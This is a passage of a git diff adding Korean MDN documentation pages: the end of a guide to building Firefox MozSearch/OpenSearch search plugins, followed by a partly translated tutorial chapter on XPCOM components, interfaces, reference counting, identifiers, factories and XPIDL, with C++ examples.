+<p>만약 사용자가 Yahoo! 검색 엔진 플러그인을 선택해 검색 상자에 'mozilla'라고 입력한 후 엔터키를 누르면 Firefox는 검색 기능을 수행하기 위해 플러그인에서 설명된 방법을 사용합니다.</p>
+<pre class="eval"><span class="nowiki">http://search.yahoo.com/search?p=mozilla&amp;ei=UTF-8&amp;fr=moz2</span>
+</pre>
+<p><br>
+ 만약 사용자가 검색 플러그인의 확대경 아이콘을 클릭하면, 웹 사이트로 이동합니다. 도구 메뉴 웹 검색 옵션을 선택하면, 브라우저는 <code>&lt;SearchForm&gt;</code>에 &lt;tt&gt;<span class="nowiki">http://search.yahoo.com/</span>&lt;/tt&gt;을 포함 합니다.</p>
+<h2 id=".EC.98.88.EC.A0.9C_MDC_.EA.B2.80.EC.83.89" name=".EC.98.88.EC.A0.9C_MDC_.EA.B2.80.EC.83.89">예제 MDC 검색</h2>
+<p>이 플러그 인으로 Mozilla Developer Center의 웹 사이트를 간단하게 검색할 수 있습니다.</p>
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;MDC&lt;/ShortName&gt;
+&lt;Description&gt;Mozilla Developer Center search&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8%2F9hAAAABGdBTUEAAK%2FINwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHWSURBVHjaYvz%2F%2Fz8DJQAggJiQOe%2Ffv2fv7Oz8rays%2FN%2BVkfG%2FiYnJfyD%2F1%2BrVq7ffu3dPFpsBAAHEAHIBCJ85c8bN2Nj4vwsDw%2F8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFElwPxf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi%2FG%2BQKY4hh5WAXGf8PDQ0FGwJ22d27CjADAAIIrLmjo%2BMXA9R2kAHvGBA2wwx6B8W7od6CeQcggKCmCEL8bgwxYCbUIGTDVkHDBia%2BCuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBHkAlC0Mdy7x9ABNA3obAZXIAa6iKEcGlMVQHwWyjYuL2d4v2cPg8vZswx7gHyAAAK7AOif7SAbOqCmn4Ha3AHFsIDtgPq%2FvLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQg%2FkdypqCg4H8lUIACnQ%2FSOBMYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9DTAAgDBBCcAVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD%2BaDAXH0WLM4A9MZPXJkJIIAwTAR5pQMalaCABQUULttBGCCAGCnNzgABBgAMJ5THwGvJLAAAAABJRU5ErkJggg%3D%3D&lt;/Image&gt;
+&lt;Url type="text/html" method="GET" template="http://developer.mozilla.org/en/docs/Special:Search?search={searchTerms}"/&gt;
+&lt;SearchForm&gt;http://developer.mozilla.org/en/docs/Special:Search&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+<p><br>
+ 예제에서는 검색 엔진의 파라미터를 정의하기 위해 <code>&lt;Param&gt;</code>는 아니고 단순하게 템플릿 URL을 사용하고 있는 것에 주의해 주십시오. 이것은 실제로 메소드로서 <code>GET</code>을 사용할 때에 적당한 방법입니다. <code>&lt;Param&gt;</code>는 <code>POST</code>을 위해 사용해야 합니다.</p>
+<p> </p>
+<h2 id=".EB.AC.B8.EC.A0.9C_.ED.95.B4.EA.B2.B0_.EB.B0.A9.EB.B2.95" name=".EB.AC.B8.EC.A0.9C_.ED.95.B4.EA.B2.B0_.EB.B0.A9.EB.B2.95">문제 해결 방법</h2>
+<p>만약 당신의 검색 플러그 인 XML 파일에 오류가 있으면 Firefox 2에 플러그 인을 추가할 때에 에러를 나타내게 될 것입니다. 에러 메세지는 완전한 것은 아니지만 문제를 찾는 데 도움이 될 것입니다.</p>
+<ul>
+ <li>검색 플러그 인이 정형식well formed 인가 확인해 주십시오. 파일을 Firefox에 직접 읽어들이게 하는 것에 의해서 확인할 수 있습니다. 템플릿 URL안의 ampersand(&amp;)(&amp;) 이하 &amp;amp;가 Escape가 된 태그는 마지막의 slash나 일치하는 종료 태그로 닫혀져야 합니다.</li>
+</ul>
+<ul>
+ <li><code>xmlns</code> 속성은 중요합니다.<code>xmlns</code> 속성 없이는 "Bon Echo could not download the plugin from (URL)"이라는 에러 메시지가 표시됩니다.</li>
+</ul>
+<p>또한, 검색 플러그 인 서비스는 플러그 인 개발자가 사용할 로그의 구조를 제공합니다.
+ <i>
+  about:config</i>
+ 의 '<code>browser.search.log</code>'을 <code>true</code>로 해야 합니다. 검색 플러그 인이 추가되면 로그 정보가 Firefox 의<a href="ko/JavaScript_Console">오류 정보</a>(도구-&gt; 오류 정보)에 표시됩니다.</p>
+<h2 id="OpenSearch" name="OpenSearch">OpenSearch</h2>
+<p><a href="ko/Firefox_2">Firefox 2</a>의 검색 결과를 공유하기 위해서 Amazon A9의 <a class="external" href="http://opensearch.a9.com/">OpenSearch</a> 형식되 지원합니다. <a class="external" href="http://opensearch.a9.com/spec/1.1/description/">OpenSearch 사용법</a>을 이용해 XML 플러그인을 제작 했다면 <a class="external" href="http://www.mozilla.org/support/firefox/profile">사용자 프로필</a> 또는 어플리케이션 폴더, <a href="ko/Bundles">설치 번들</a> 안의 &lt;tt&gt;searchengines&lt;/tt&gt; 디렉토리에 넣어 줌으로서 검색엔진을 추가할 수 있습니다</p>
+<p>OpenSearch 파일은<a href="#.EA.B2.80.EC.83.89_.EC.97.94.EC.A7.84_.EC.9E.90.EB.8F.99_.EC.B0.BE.EA.B8.B0">검색 엔진 자동 찾기</a>에 설명한 방법을 통해 표시할 수 있습니다.</p>
+<p>OpenSearch 형식은 Mozilla SearchPlugin 형식과 닮아 있으나 가장 큰 차이는 루트 요소와 XML 네임 스페이스가 다른 것입니다.</p>
+<pre>&lt;?xml version="1.0"  encoding="UTF-8"?&gt;
+&lt;OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"&gt;
+...
+&lt;/OpenSearchDescription&gt;
+</pre>
+<h2 id=".EC.B0.B8.EA.B3.A0_.EC.9E.90.EB.A3.8C" name=".EC.B0.B8.EA.B3.A0_.EC.9E.90.EB.A3.8C">참고 자료</h2>
+<ul>
+ <li>A9.com <a class="external" href="http://opensearch.a9.com/">OpenSearch 문서</a></li>
+ <li>Technorati.com <a class="external" href="http://technorati.com/osd.xml">osd.xml</a></li>
+ <li>자동 찾기 방식: bugzilla {{ Bug(340208) }}</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Data:_URI_scheme">&lt;tt&gt;data:&lt;/tt&gt; URI schema</a></li>
+ <li><a class="external" href="http://www.searchplugins.net">searchplugins.net</a> - Firefox2에서 사용 가능한 OpenSearch</li>
+</ul>
+<p>플러그 인의 작성. <a class="external" href="http://www.searchplugins.net/pluginlist.aspx">작성된 검색 플러그 목록</a></p>
+<p>{{ languages( { "ca": "ca/Creaci_de_connectors_MozSearch", "en": "en/Creating_MozSearch_plugins", "it": "it/Creare_Plugin_MozSearch", "ja": "ja/Creating_MozSearch_plugins" } ) }}</p>
diff --git a/files/ko/creating_xpcom_components/an_overview_of_xpcom/index.html b/files/ko/creating_xpcom_components/an_overview_of_xpcom/index.html
new file mode 100644
index 0000000000..03b5dbcba6
--- /dev/null
+++ b/files/ko/creating_xpcom_components/an_overview_of_xpcom/index.html
@@ -0,0 +1,531 @@
+---
+title: An Overview of XPCOM
+slug: Creating_XPCOM_Components/An_Overview_of_XPCOM
+tags:
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components/An_Overview_of_XPCOM
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Creating_XPCOM_Components:Preface" style="float: left;">« 이전</a><a href="/ko/docs/Creating_XPCOM_Components:Using_XPCOM_Components">다음  »</a></p>
+</div> This is a book about XPCOM. The book is written in the form of a tutorial about creating XPCOM components, but it covers all major aspects, concepts, and terminology of the XPCOM component model along the way.<p></p>
+
+<p>This chapter starts with a quick tour of XPCOM - an introduction to the basic concepts and technologies in XPCOM and component development. The brief sections in this chapter introduce the concepts at a very high level, so that we can discuss and use them with more familiarity in the tutorial itself, which describes the creation of a Mozilla component called <strong>WebLock</strong>.</p>
+
+<h3 id="The_XPCOM_Solution" name="The_XPCOM_Solution">The XPCOM Solution</h3>
+
+<p>The Cross Platform Component Object Module (XPCOM) is a framework which allows developers to break up monolithic software projects into smaller modularized pieces. These pieces, known as<em>components</em> , are then assembled back together at runtime.</p>
+
+<p>The goal of XPCOM is to allow different pieces of software to be developed and built independently of one another. In order to allow interoperability between components within an application, XPCOM separates the<em>implementation</em> of a component from the<em>interface</em> , which we discuss in <a href="#Interfaces">Interfaces</a>. But XPCOM also provides several tools and libraries that enable the loading and manipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application. Using XPCOM, developers create components that can be reused in different applications or that can be replaced to change the functionality of existing applications.</p>
+
+<p>XPCOM not only supports component software development, it also provides much of the functionality that a development platform provides, such as:</p>
+
+<ul>
+ <li>component management</li>
+ <li>file abstraction</li>
+ <li>object message passing</li>
+ <li>memory management</li>
+</ul>
+
+<p>We will discuss the above items in detail in the coming chapters, but for now, it can be useful to think of XPCOM as a<em>platform for component development</em> , in which features such as those listed above are provided.</p>
+
+<h3 id="Gecko" name="Gecko">Gecko</h3>
+
+<p>Although it is in some ways structurally similar to Microsoft COM, XPCOM is designed to be used principally at the application level. The most important use of XPCOM is within<em>Gecko</em> , an open source, standards compliant, embeddable web browser and toolkit for creating web browsers and other applications.</p>
+
+<p>XPCOM is the means of accessing Gecko library functionality and embedding or extending Gecko. This book focuses on the latter - extending Gecko - but the fundamental ideas in the book will be important to developers embedding Gecko as well.</p>
+
+<p>Gecko is used in many internet applications, mostly browsers. The list includes devices such as the Gateway/AOL Instant AOL device and the Nokia Media Terminal. Gecko is also used in the latest Compuserve client, AOL for Mac OS X, Netscape 7, and of course the Mozilla client. At this time, Gecko is the predominant open source web browser.</p>
+
+<h3 id="Components" name="Components">Components</h3>
+
+<p>XPCOM allows you to build a system in which large software projects can be broken up into smaller pieces. These pieces, known as components, are usually delivered in small, reusable binary libraries (a <abbr title="Dynamic Link Library">DLL</abbr> on Windows, for example, or a <abbr title="Distributed Shared Object">DSO</abbr> on Unix), which can include one or more components. When there are two or more related components together in a binary library, the library is referred to as a<em>module</em> .</p>
+
+<p>Breaking software into different components can help make it less difficult to develop and maintain. Beyond this, modular, component-based programming has some well-known advantages:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Benefit</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>재사용</td>
+   <td>모듈화된 코드는 다른 응용프로그램들과 문맥들에서 재사용 될 수 있다.</td>
+  </tr>
+  <tr>
+   <td>갱신</td>
+   <td>전체 응용프로그램을 재컴파일하지 않고 컴포넌트들을 갱신할 수 있다.</td>
+  </tr>
+  <tr>
+   <td>성능</td>
+   <td>코드가 모듈화되면, 곧바로 필요하지 않은 모듈들은 메모리에 늦게 적재되거나(lazy loaded), 아예 적제되지 않아 응용프로그램의 성능을 향상시키는 효과를 가져올 수 있다.</td>
+  </tr>
+  <tr>
+   <td>관리</td>
+   <td>Even when you are not updating a component, designing your application in a modular way can make it easier for you to find and maintain the parts of the application that you are interested in.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Mozilla has over four million lines of code, and no single individual understands the entire codebase. The best way to tackle a project of this size is to divide it into smaller, more managable pieces, use a component programming model, and to organize related sets of components into modules. The network library, for example, consists of components for each of the protocols, HTTP, FTP, and others, which are bundled together and linked into a single library. This library is the networking module, also known as "necko."</p>
+
+<p>But it's not always a good idea to divide things up. There are some things in the world that just go together, and others that shouldn't be apart. For example, one author's son will not eat a peanutbutter sandwich if there isn't jam on it, because in his world, peanut butter and jam form an indelible union. Some software is the same. In areas of code that are tightly-coupled-in classes that are only used internally, for example-the expensive work to divide things may not be worth the effort.</p>
+
+<p>The <abbr title="Hypertext Transfer Protocol">HTTP</abbr> component in Gecko doesn't expose private classes it uses as separate components. The "stuff" that's internal to the component stays internal, and isn't exposed to XPCOM. In the haste of early Mozilla development, components were created where they were inappropriate, but there's been an ongoing effort to remove XPCOM from places like this.</p>
+
+<h3 id=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">인터페이스</h3>
+
+<p>It's generally a good idea to break software into components, but how exactly do you do this? The basic idea is to identify the pieces of functionality that are related and understand how they communicate with each other. The communication channels between different component form boundaries between those components, and when those boundaries are formalized they are known as<em>interfaces</em> .</p>
+
+<p>Interfaces aren't a new idea in programming. We've all used interfaces since our first "HelloWorld" program, where the interface was between the code we actually wrote-the application code-and the printing code. The application code used an interface from a library, <code>stdio</code>, to print the "hello world" string out to the screen. The difference here is that a "HelloWorld" application in XPCOM finds this screen-printing functionality at runtime and never has to know about <code>stdio</code> when it's compiled.</p>
+
+<p>Interfaces allow developers to<em>encapsulate</em> the implementation and inner workings of their software, and allow clients to ignore how things are made and just use that software.</p>
+
+<div class="side-note">
+<p><span id="Interfaces_and_Programming_by_Contract"><a id="Interfaces_and_Programming_by_Contract"></a><strong>Interfaces and Programming by Contract</strong></span></p>
+
+<p>An interface forms a contractual agreement between components and clients. There is no code that enforces these agreements, but ignoring them can be fatal. In component-based programming, a component guarantees that the interfaces it provides will be<em>immutable</em> - that they will provide the same access to the same methods across different versions of the component - establishing a contract with the software clients that use it. In this respect, interface-based programming is often referred to as<em>programming by contract</em> .</p>
+</div>
+
+<h4 id="Interfaces_and_Encapsulation" name="Interfaces_and_Encapsulation">Interfaces and Encapsulation</h4>
+
+<p>Between component boundaries, abstraction is crucial for software maintainability and reusability. Consider, for example, a class that<em>isn't</em> well encapsulated. Using a freely available public initialization method, as the example below suggests, can cause problems.</p>
+
+<p><span id="SomeClass_Class_Initialization"><a id="SomeClass_Class_Initialization"></a><strong>SomeClass Class Initialization</strong></span></p>
+
+<pre>class SomeClass
+{
+  public:
+    // Constructor
+    SomeClass();
+
+    // Virtual Destructor
+    virtual ~SomeClass();
+
+    // init method
+    void Init();
+
+    void DoSomethingUseful();
+};
+</pre>
+
+<p>For this system to work properly, the client programmer must pay close attention to whatever rules the component programmer has established. This is the contractual agreement of this unencapsulated class: a set of rules that define when each method can be called and what it is expected to do. One rule might specify that <code>DoSomethingUseful</code> may only be called after a call to <code>Init()</code>. The <code>DoSomethingUseful</code> method may do some kind of checking to ensure that the condition - that <code>Init</code> has been called - has been satisfied.</p>
+
+<p>In addition to writing well-commented code that tells the client developer the rules about <code>Init()</code>, the developer can take a couple steps to make this contract even clearer. First, the construction of an object can be encapsulated, and a<em>virtual class</em> provided that defines the <code>DoSomethingUseful</code> method. In this way, construction and initialization can be completely hidden from clients of the class. In this "semi-encapsulated" situation, the only part of the class that is exposed is a well-defined list of callable methods (i.e., the interface). Once the class is encapsulated, the only interface the client will see is this:</p>
+
+<p><span id="Encapsulation_of_SomeInterface"><a id="Encapsulation_of_SomeInterface"></a><strong>Encapsulation of SomeInterface</strong></span></p>
+
+<pre>class SomeInterface
+{
+  public:
+    virtual void DoSomethingUseful() = 0;
+};
+</pre>
+
+<p>The implementation can then derive from this class and implement the virtual method. Clients of this code can then use a factory design pattern to create the object (see <a href="#Factories">Factories</a>) and further encapsulate the implementation. In XPCOM, clients are shielded from the inner workings of components in this way and rely on the interface to provide access to the needed functionality.</p>
+
+<h4 id="The_nsISupports_Base_Interface" name="The_nsISupports_Base_Interface">The <code>nsISupports</code> Base Interface</h4>
+
+<p>Two fundamental issues in component and interface-based programming are<em>component lifetime</em> , also called<em>object ownership</em> , and<em>interface querying</em> , or being able to identify which interfaces a component supports at runtime. This section introduces the base interface-the mother of all interfaces in XPCOM - <code>nsISupports</code>, which provides solutions to both of these issues for XPCOM developers.</p>
+
+<h5 id="Object_Ownership" name="Object_Ownership">Object Ownership</h5>
+
+<p>In XPCOM, since components may implement any number of different interfaces, interfaces must be<em>reference counted</em> . Components must keep track of how many references to it clients are maintaining and delete themselves when that number reaches zero.</p>
+
+<p>When a component gets created, an integer inside the component tracks this reference count. The reference count is incremented automatically when the client instantiates the component; over the course of the component's life, the reference count goes up and down, always staying above zero. At some point, all clients lose interest in the component, the reference count hits zero, and the component deletes itself.</p>
+
+<p>When clients use interfaces responsibly, this can be a very straightforward process. XPCOM has tools to make it even easier, as we describe later. It can raise some real housekeeping problems when, for example, a client uses an interface and forgets to decrement the reference count. When this happens, interfaces may never be released and will leak memory. The system of reference counting is, like many things in XPCOM, a contract between clients and implementations. It works when people agree to it, but when they don't, things can go wrong. It is the responsibility of the function that creates the interface pointer to add the initial reference, or<em>owning reference</em> , to the count.</p>
+
+<div class="side-note">
+<p><span id="Pointers_in_XPCOM"><a id="Pointers_in_XPCOM"></a><strong>Pointers in XPCOM</strong></span></p>
+
+<p>In XPCOM,<em>pointers</em> refer to interface pointers. The difference is a subtle one, since interface pointers and regular pointers are both just address in memory. But an interface pointer is known to implement the nsISupports base interface, and so can be used to call methods such as <code>AddRef</code>, <code>Release</code>, or <code>QueryInterface</code>.</p>
+</div>
+
+<p><code>nsISupports</code>, shown below, supplies the basic functionality for dealing with interface discovery and reference counting. The members of this interface, <code>QueryInterface</code>, <code>AddRef</code>, and <code>Release</code>, provide the basic means for getting the right interface from an object, incrementing the reference count, and releasing objects once they are not being used, respectively. The <code>nsISupports</code> interface is shown below:</p>
+
+<p><span id="The_%3Ccode%3EnsISupports%3C/code%3E_Interface"><a id="The_%3Ccode%3EnsISupports%3C/code%3E_Interface"></a><strong>The <code>nsISupports</code> Interface</strong></span></p>
+
+<pre>class Sample: public nsISupports
+{
+  private:
+    nsrefcnt mRefCnt;
+  public:
+    Sample();
+    virtual ~Sample();
+
+    NS_IMETHOD QueryInterface(const nsIID &amp;aIID, void **aResult);
+    NS_IMETHOD_(nsrefcnt) AddRef(void);
+    NS_IMETHOD_(nsrefcnt) Release(void);
+};
+</pre>
+
+<p>The various types used in the interface are described in the <a href="#XPCOM_Types">XPCOM Types</a> section below. A complete (if spare) implementation of the <code>nsISupports</code> interface is shown below:</p>
+
+<p><span id="Implementation_of_%3Ccode%3EnsISupports%3C/code%3E_Interface"><a id="Implementation_of_%3Ccode%3EnsISupports%3C/code%3E_Interface"></a><strong>Implementation of <code>nsISupports</code> Interface</strong></span></p>
+
+<pre>// initialize the reference count to 0
+Sample::Sample() : mRefCnt(0)
+{
+}
+Sample::~Sample()
+{
+}
+
+// typical, generic implementation of QI
+NS_IMETHODIMP Sample::QueryInterface(const nsIID &amp;aIID,
+                                  void **aResult)
+{
+  if (aResult == NULL) {
+    return NS_ERROR_NULL_POINTER;
+  }
+  *aResult = NULL;
+  if (aIID.Equals(kISupportsIID)) {
+    *aResult = (void *) this;
+  }
+  if (*aResult == NULL) {
+    return NS_ERROR_NO_INTERFACE;
+  }
+  // add a reference
+  AddRef();
+  return NS_OK;
+}
+
+NS_IMETHODIMP_(nsrefcnt) Sample::AddRef()
+{
+  return ++mRefCnt;
+}
+
+NS_IMETHODIMP_(nsrefcnt) Sample::Release()
+{
+  if (--mRefCnt == 0) {
+    delete this;
+    return 0;
+  }
+  // optional: return the reference count
+  return mRefCnt;
+}
+</pre>
+
+<h5 id="Object_Interface_Discovery" name="Object_Interface_Discovery">Object Interface Discovery</h5>
+
+<p><em>Inheritance</em>is another very important topic in object oriented programming. Inheritance is the means through which one class is derived from another. When a class inherits from another class, the inheriting class may<em>override</em> the default behaviors of the base class without having to copy all of that class's code, in effect creating a more specific class, as in the following example:</p>
+
+<p><span id="Simple_Class_Inheritance"><a id="Simple_Class_Inheritance"></a><strong>Simple Class Inheritance</strong></span></p>
+
+<pre>class Shape
+{
+  private:
+    int m_x;
+    int m_y;
+
+  public:
+    virtual void Draw() = 0;
+    Shape();
+    virtual ~Shape();
+};
+
+class Circle : public Shape
+{
+  private:
+    int m_radius;
+  public:
+    virtual Draw();
+    Circle(int x, int y, int radius);
+    virtual ~Circle();
+};
+</pre>
+
+<p><code>Circle</code> is a derived class of <code>Shape</code>. A <code>Circle</code> is a <code>Shape</code>, in other words, but a <code>Shape</code> is not necessarily a <code>Circle</code>. In this case, <code>Shape</code> is the<em>base class</em> and <code>Circle</code> is a<em>subclass</em> of <code>Shape</code>.</p>
+
+<p>In XPCOM, all classes derive from the <code>nsISupports</code> interface, so all objects are <code>nsISupports</code> but they are also other, more specific classes, which you need to be able to find out about at runtime. In <a href="#Simple_Class_Inheritance">Simple Class Inheritance</a>, for example, you'd like to be able ask the <code>Shape</code> if it's a <code>Circle</code> and to be able to use it like a circle if it is. In XPCOM, this is what the <code>QueryInterface</code> feature of the <code>nsISupports</code> interface is for: it allows clients to find and access different interfaces based on their needs.</p>
+
+<p>In C++, you can use a fairly advanced feature known as a <code>dynamic_cast&lt;&gt;</code>, which throws an exception if the <code>Shape</code> object is not able to be cast to a <code>Circle</code>. But enabling exceptions and <abbr title="Runtime Type Information">RTTI</abbr> may not be an option because of performance overhead and compatibility on many platforms, so XPCOM does things differently.</p>
+
+<div class="side-note">
+<p><span id="Exceptions_in_XPCOM"><a id="Exceptions_in_XPCOM"></a><strong>Exceptions in XPCOM</strong></span></p>
+
+<p>C++ exceptions are not supported directly by XPCOM. Instead all exceptions must be handled within a given component, before crossing interface boundaries. In XPCOM, all interface methods should return an <code>nsresult</code> error value (see the <a href="ko/XPCOM_API_Reference">XPCOM API Reference</a> for a listing of these error codes). These error code results become the "exceptions" that XPCOM handles.</p>
+</div>
+
+<p>Instead of leveraging C++ RTTI, XPCOM uses the special <code>QueryInterface</code> method that casts the object to the right interface if that interface is supported.</p>
+
+<p>Every interface is assigned an identifier that gets generated from a tool commonly named "uuidgen". This universally unique identifier (UUID) is a unique, 128-bit number. Used in the context of an interface (as opposed to a component, which is what the contract ID is for), this number is called an<em>IID</em> .</p>
+
+<p>When a client wants to discover if an object supports a given interface, the client passes the IID assigned to that interface into the <code>QueryInterface</code> method of that object. If the object supports the requested interface, it adds a reference to itself and passes back a pointer to that interface. If the object does not support the interface an error is returned.</p>
+
+<pre>class nsISupports {
+  public:
+    long QueryInterface(const nsIID &amp; uuid,
+                        void **result) = 0;
+    long AddRef(void) = 0;
+    long Release(void) = 0;
+};
+</pre>
+
+<p>The first parameter of <code>QueryInterface</code> is a reference to a class named <code>nsIID</code>, which is a basic encapsulation of the IID. Of the three methods on the <code>nsIID</code> class, <code>Equals</code>, <code>Parse</code>, and <code>ToString</code>, <code>Equals</code> is by far the most important, because it is used to compare two <code>nsIID</code>s in this interface querying process.</p>
+
+<p>When you implement the <code>nsIID</code> class (and you'll see in the chapter <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier">Using XPCOM Utilities to Make Things Easier</a> how macros can make this process much easier), you must make sure the class methods return a valid result when the client calls <code>QueryInterface</code> with the <code>nsISupports</code> IID. <code>QueryInterface</code> should support all interfaces that the component supports.</p>
+
+<p>In implementations of <code>QueryInterface</code>, the IID argument is checked against the <code>nsIID</code> class. If there is a match, the object's <code>this</code> pointer is cast to <code>void</code>, the reference count is incremented, and the interface returned to the caller. If there isn't a match, the class returns an error and sets the out value to <code>null</code>.</p>
+
+<p>In the example above, it's easy enough to use a C-style cast. But casting can become more involved where you must first cast <code>void</code> then to the requested type, because you must return the interface pointer in the <abbr title="virtual table">vtable</abbr> corresponding to the requested interface. Casting can become a problem when there is an ambiguous inheritance hierarchy.</p>
+
+<h3 id="XPCOM_Identifiers" name="XPCOM_Identifiers">XPCOM Identifiers</h3>
+
+<p>In addition to the IID interface identifier discussed in the previous section, XPCOM uses two other very important identifiers to distinguish classes and components.</p>
+
+<div class="side-note">
+<p><span id="XPCOM_Identifier_Classes"><a id="XPCOM_Identifier_Classes"></a><strong>XPCOM Identifier Classes</strong></span></p>
+
+<p>The <code>nsIID</code> class is actually a typedef for the <code>nsID</code> class. The other typedefs of <code>nsID</code>, CID and IID, refer to specific implementations of a concrete class and to a specific interface, respectively.</p>
+
+<p>The <code>nsID</code> class provides methods like <code>Equals</code> for comparing identifiers in the code. See <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Identifiers_in_XPCOM">Identifiers in XPCOM</a> for more discussion of the <code>nsID</code> class.</p>
+</div>
+
+<h4 id="CID" name="CID">CID</h4>
+
+<p>A CID is a 128-bit number that uniquely identifies a class or component in much the same way that an IID uniquely identifies an interface. The CID for <code>nsISupports</code> looks like this:</p>
+
+<p><code>00000000-0000-0000-c000-000000000046</code></p>
+
+<p>The length of a CID can make it cumbersome to deal with in the code, so very often you see #defines for CIDs and other identifiers being used, as in this example:</p>
+
+<pre>#define SAMPLE_CID \
+{ 0x777f7150, 0x4a2b, 0x4301, \
+{ 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}}
+</pre>
+
+<p>You also see <code>NS_DEFINE_CID</code> used a lot. This simple macro declares a constant with the value of the CID:</p>
+
+<pre>static NS_DEFINE_CID(kWebShellCID, NS_WEB_SHELL_CID);
+</pre>
+
+<p>A CID is sometimes also referred to as a<em>class identifier</em> . If the class to which a CID refers implements more than one interface, that CID guarantees that the class implements that whole set of interfaces when it's published or frozen.</p>
+
+<h4 id="Contract_ID" name="Contract_ID">Contract ID</h4>
+
+<p>A contract ID is a human readable string used to access a component. A CID or a contract ID may be used to get a component from the component manager. This is the contract ID for the LDAP Operation component:</p>
+
+<pre>"@mozilla.org/network/ldap-operation;1"
+</pre>
+
+<p>The format of the contract ID is the<em>domain</em> of the component, the<em>module</em> , the<em>component name</em> , and the<em>version number</em> , separated by slashes.</p>
+
+<p>Like a CID, a contract ID refers to an implementation rather than an interface, as an IID does. But a contract ID is not bound to any specific implementation, as the CID is, and is thus more general. Instead, a contract ID only specifies a given set of interfaces that it wants implemented, and any number of different CIDs may step in and fill that request. This difference between a contract ID and a CID is what makes it possible to override components.</p>
+
+<h3 id="Factories" name="Factories">Factories</h3>
+
+<p>Once code is broken up into components, client code typically uses the <code>new</code> constructor to instantiate objects for use:</p>
+
+<pre>SomeClass* component = new SomeClass();
+</pre>
+
+<p>This pattern requires that the client know something about the component, however-how big it is at the very least. The<em>factory design pattern</em> can be used to encapsulate object construction. The goal of factories is create objects without exposing clients to the implementations and initializations of those objects. In the <code>SomeClass</code> example, the construction and initialization of <code>SomeClass</code>, which implements the <code>SomeInterface</code> abstract class, is contained within the <code>New_SomeInterface</code> function, which follows the factory design pattern:</p>
+
+<p><span id="Encapsulating_the_Constructor"><a id="Encapsulating_the_Constructor"></a><strong>Encapsulating the Constructor</strong></span></p>
+
+<pre>int New_SomeInterface(SomeInterface** ret)
+{
+  // create the object
+  SomeClass* out = new SomeClass();
+  if (!out) return -1;
+
+  // init the object
+  if (out-&gt;Init() == FALSE)
+  {
+    delete out;
+    return -1;
+  }
+
+  // cast to the interface
+  *ret = static_cast&lt;SomeInterface*&gt;(out);
+  return 0;
+}
+</pre>
+
+<p>The factory is the class that actually manages the creation of separate instances of a component for use. In XPCOM, factories are implementations of the <code>nsIFactory</code> interface, and they use a factory design pattern like the example above to abstract and encapsulate object construction and initialization.</p>
+
+<p>The example in <a href="#Encapsulating_the_Constructor">Encapsulating the Constructor</a> is a simple and stateless version of factories, but real world programming isn't usually so simple, and in general factories need to store state. At a minimum, the factory needs to preserve information about what objects it has created. When a factory manages instances of a class built in a dynamic shared library, for example, it needs to know when it can unload the library. When the factory preserves state, you can ask if there are outstanding references and find out if the factory created any objects.</p>
+
+<p>Another state that a factory can save is whether or not an object is a<em>singleton</em> . For example, if a factory creates an object that is supposed to be a singleton, then subsequent calls to the factory for the object should return the same object. Though there are tools and better ways to handle singletons (which we'll discuss when we talk about the <code>nsIServiceManager</code>), a developer may want to use this information to ensure that only one singleton object can exist despite what the callers do.</p>
+
+<p>The requirements of a factory class can be handled in a strictly functional way, with state being held by global variables, but there are benefits to using classes for factories. When you use a class to implement the functionality of a factory, for example, you derive from the <code>nsISupports</code> interface, which allows you to manage the lifetime of the factory objects themselves. This is important when you want to group sets of factories together and determine if they can be unloaded. Another benefit of using the <code>nsISupports</code> interface is that you can support other interfaces as they are introduced. As we'll show when we discuss <code>nsIClassInfo</code>, some factories support querying information about the underlying implementation, such as what language the object is written in, interfaces that the object supports, etc. This kind of "future-proofing" is a key advantage that comes along with deriving from <code>nsISupports</code>.</p>
+
+<h4 id="XPIDL_and_Type_Libraries" name="XPIDL_and_Type_Libraries">XPIDL and Type Libraries</h4>
+
+<p>An easy and powerful way to define an interface - indeed, a requirement for defining interfaces in a cross-platform, language neutral development environment - is to use an<em>interface definition language</em> (IDL). XPCOM uses its own variant of the CORBA OMG Interface Definition Language (IDL) called XPIDL, which allows you to specify methods, attributes and constants of a given interface, and also to define interface inheritance.</p>
+
+<p>There are some drawbacks to defining your interface using XPIDL. There is no support for multiple inheritance, for one thing. If you define a new interface, it cannot derive from more than one interface. Another limitation of interfaces in XPIDL is that method names must be unique. You can not have two methods with the same name that take different parameters, and the workaround - having multiple function names - isn't pretty:</p>
+
+<pre>void FooWithInt(in int x);
+void FooWithString(in string x);
+void FooWithURI(in nsIURI x);
+</pre>
+
